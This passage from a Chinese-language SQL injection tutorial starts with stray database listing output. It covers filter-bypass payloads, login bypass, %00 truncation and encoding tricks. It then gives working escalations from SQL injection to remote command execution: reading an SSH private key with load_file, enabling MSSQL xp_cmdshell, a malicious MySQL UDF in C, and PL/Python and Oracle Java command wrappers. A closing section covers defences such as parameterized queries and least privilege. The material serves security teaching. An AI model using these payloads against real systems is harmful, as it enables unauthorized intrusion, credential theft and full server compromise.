|| sakila | customer | 2024-07-29 00:04:52 | 599 | 5 | 3 || sakila | film | 2024-07-29 00:04:52 | 1000 | 12 | 5 || sakila | film_actor | 2024-07-29 00:04:52 | 5462 | 12 | 5 || sakila | film_category | 2024-07-29 00:04:53 | 1000 | 4 | 1 || sakila | film_text | 2024-07-29 00:04:52 | 1000 | 11 | 1 || sakila | inventory | 2024-07-29 00:04:53 | 4581 | 11 | 12 || sakila | language | 2024-07-29 00:04:53 | 6 | 1 | 0 || sakila | payment | 2024-07-29 00:04:54 | 16500 | 97 | 39 || sakila | rental | 2024-07-29 00:05:04 | 15423 | 97 | 73 || sakila | staff | 2024-07-29 00:05:14 | 2 | 4 | 2 || sakila | store | 2024-07-29 00:05:24 | 2 | 1 | 2 || sys | sys_config | 2024-07-29 00:04:13 | 6 | 1 | 0 || world | city | 2024-07-29 00:05:34 | 4035 | 25 | 7 || world | country | 2024-07-29 00:05:54 | 239 | 7 | 0 || world | countrylanguage | 2024-07-29 00:06:04 | 984 | 6 | 4 |+---------------+-----------------+---------------------+--------+----------------------+--------------------------+24 rows in set (0.00 sec)5.9 过滤注释符
如果所有的注释符 -- # /**/ /*!*/ 都被过滤, 无法忽略后面的语句, 可以改变闭合方式或者逻辑拼接以避免语法错误
1. 改变闭合方式
-
适用场景:后端存在多个可控参数的查询(如登录框的账号和密码)。
-
核心原理:利用第一个参数的闭合引号和第二个参数的起始引号,把后端原有的 SQL 语句包裹成一个普通的字符串使其失效。
-
实战演示: 假设后端逻辑为
SELECT id FROM users WHERE username='[输入1]' AND passwd='[输入2]' LIMIT 0,1;发送 Payload:
username=admin'OR&passwd=OR'拼接后的最终语句:
SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;解析:原本用来验证密码的字段名 AND passwd= 被生生变成了一串无意义的纯文本数据,密码验证被完美绕过。
2. 平衡引号(单参数逻辑闭合)
-
适用场景:只有一个注入点,且闭合方式为字符型。
-
核心原理:在注入语句的最后,主动加上逻辑运算符或利用字符串拼接,去强行与后端自带的最后一个引号配对。
-
实战演示(以单引号闭合为例): 万能密码平衡法:
?id=1' or '1'='1解析:拼接后变成 WHERE id='1' or '1'='1',尾部的单引号完美闭合。 联合查询回显平衡法:把原查询的尾部引号当作最后一个回显数据的包裹符,或者利用逻辑运算符平衡。
?id=-1' union select 1,2,database() '?id=-1' union select 1,database(),3 or '1'='13. %00 截断
-
适用场景:老版本的 PHP 环境(PHP <= 5.3.4,且未开启 GPC)。
-
核心原理:利用 C 语言底层字符串以 Null 字符(
\0)结尾的特性。传入%00,使应用层直接抛弃后面的原始 SQL 语句。 -
实战演示:
?id=-1' union select 1,database(),3;%00解析:数据库接收到的直接是 id='-1' union select 1,database(),3;,%00 后面的残留语句被物理级抹除。
5.10 编码绕过
-- SELECT username FROM users;SELECT char(117,115,101,114,110,97,109,101) FROM users;SELECT 0x757365726e616d65 FROM users;5.11 花括号语法
SELECT {a DATABASE()};花括号左边是注释(左边可以是任意字母,但不能是数字),右边是查询语句的一部分
5.12 函数替换
benchmark() => sleep()hex() bin() => ascii()concat() concat_ws() => group_concat()substr() mid() left() right() elt() => substring()char_length() => length()6 SQL实现RCE
SQLiteload_file函数MSSQLxp_cmdshell函数MySQLUDFPostgreSQL 扩展Oracle Java 存储过程6.1 通过 SQLite 读取文件
在某些 SQL 注入场景中,即使 SQLite 是一个轻量级的本地数据库,我依然可以利用文件读取函数来访问服务器上的关键文件。虽然这不等于直接在 SQL 里敲系统命令,但它是获取系统最高权限(RCE)的经典跳板。
- 提示:原生 SQLite 的标准 CLI 中读取文件的函数通常是
readfile()。但在特定的开发环境、CTF 题目或加载了特定 C 扩展(如sqlext)的情况下,会被封装或映射为load_file()。两者的攻击逻辑完全一致。 - 手法:尝试读取
id_rsa(包含 SSH 私钥的文件) - 示例
' UNION SELECT load_file('/.ssh/id_rsa') #- 攻击链路:如果成功检索到文件内容,将暴露的 SSH 私钥保存到本地,即可直接通过 SSH 免密连接到服务器,从而获得操作系统的完整控制权。
6.2 xp_cmdshell 存储过程执行命令
xp_cmdshell 是 Microsoft SQL Server 中的一个极其强大的系统存储过程。它允许拥有足够权限的用户(如 sa),直接从 SQL 查询界面向底层的 Windows 操作系统发送指令。
- 利用流程: 高版本 MSSQL 默认禁用此功能,但可以通过
sp_configure强行将其启用,随后执行任意系统命令。 1.开启配置 Payload
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;2.执行系统命令payload
EXEC xp_cmdshell 'whoami';- 危害:该命令使的攻击者能够以服务器系统用户的身份执行任意命令,在 SQL 查询和系统完全入侵之间架起了一座直达的桥梁。
6.3 UDF (用户自定义函数) 提权
在 MySQL 中,UDF(User Defined Function)允许开发人员使用 C/C++ 等底层语言编写自定义函数来扩展数据库功能。我可以通过注入恶意的 UDF 动态链接库,在 MySQL 中凭空创造出一个能执行系统命令的函数。
- 利用流程: 需要对 MySQL 的
plugin插件目录拥有写入权限(通过into dumpfile或权限配置错误获得)。 1. 编写恶意共享库代码(以 C 语言为例,编译为.so或.dll)
#include <stdlib.h>#include <my_global.h>#include <my_sys.h>#include <mysql.h>
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return 0;}
void sys_exec_deinit(UDF_INIT *initid) {}
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return 0; system(args->args[0]); return 1;}2. 上传并注册恶意 UDF 函数:
将编译好的 malicious_udf.so 写入插件目录后,在 MySQL 中注册该函数。
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'malicious_udf.so';3. 触发 RCE 执行命令:
SELECT sys_exec('whoami');6.4 PL/Python 扩展执行代码
PostgreSQL 支持诸如 plpythonu(不受信任的 Python)之类的扩展,允许直接从 SQL 执行 Python 代码。这为与服务器操作系统交互提供了天然的途径。
- 利用流程:依赖于 PostgreSQL 扩展的灵活性,通过包装 Python 的
os.system来运行系统命令。 1. 创建扩展(如果不存在):
CREATE EXTENSION IF NOT EXISTS plpythonu;2. 定义恶意 Python 包装函数:
CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$import osos.system(cmd)$$ LANGUAGE plpythonu;3. 触发 RCE 执行命令:
SELECT exec_cmd('whoami');6.5 Java 存储过程
Oracle 数据库深度集成了嵌入式 Java(JVM),允许运行 Java 存储过程,并与 SQL 和 PL/SQL 并行运行。如果权限足够,我可以直接在数据库内部编写和运行 Java 恶意代码。
利用流程
- 1. 创建恶意 Java 源文件并解析:
利用 Java 的
Runtime.getRuntime().exec()在服务器上执行命令,并捕获输出流。
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CmdExec" ASimport java.io.*;public class CmdExec { public static String runCmd(String cmd) throws IOException { Process proc = Runtime.getRuntime().exec(cmd); InputStream in = proc.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(in)); StringBuilder output = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { output.append(line); } return output.toString(); }};- 2. 创建 PL/SQL 包装函数: 简化 Java 函数的调用,允许像调用标准 SQL 函数一样调用 Java 方法。
CREATE OR REPLACE FUNCTION exec_cmd(cmd VARCHAR2) RETURN VARCHAR2 ASLANGUAGE JAVA NAME 'CmdExec.runCmd(java.lang.String) return java.lang.String';- 触发 RCE 执行命令:
SELECT exec_cmd('whoami') FROM dual;7 SQL注入防御
7.1 参数化查询 (预编译)
-
原理:数据库预先解析 SQL 语句的语法骨架,随后将用户输入作为纯粹的文本数据填入占位符。无论输入什么恶意符号,都不会引发二次语法编译,从根本上免疫注入。
-
PHP PDO 示例:
// 1. 准备骨架 (用 ? 占位)$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');// 2. 传入数据执行$stmt->execute([$_POST['user'], $_POST['pass']]);7.2 强制类型转换
-
应用场景:明确知道输入必须是数字的情况(如
?id=1)。 -
实操:后端直接使用
intval($_GET['id'])。任何包含'或OR的恶意负载经过转换后都会变成纯数字或0,恶意代码被物理销毁。
7.3 严格的白名单校验
-
应用场景:针对无法使用预编译的位置(如
ORDER BY后面的动态字段名、动态表名)。 -
实操:代码中写死一个允许的字段数组(如
['id', 'time', 'price'])。如果用户输入不在数组内,直接拦截,坚决不带入 SQL 拼接。
7.4 最小权限原则
-
禁忌:Web 应用连接数据库绝对禁止使用
root(MySQL) 或sa(MSSQL) 账号。 -
实操:为每个项目分配独立且降权的普通账号,仅赋予当前业务库的增删改查(CRUD)权限,从底层剥夺其操作文件和系统表的资格。
7.5 封死高危系统配置
-
MySQL:在
my.cnf中设置secure_file_priv = NULL,直接切断load_file()读文件和into outfile写木马的物理通路。 -
MSSQL:确保
xp_cmdshell、sp_oacreate等可执行系统命令的高危存储过程被禁用甚至删除。
7.6 部署 WAF (Web应用防火墙)
在流量入口处架设硬件或云 WAF,通过正则特征和语义分析,将包含明显恶意 SQL 关键字(如 UNION, SLEEP, UPDATEXML)的请求拦截在网络层,作为旧系统的第一道防线。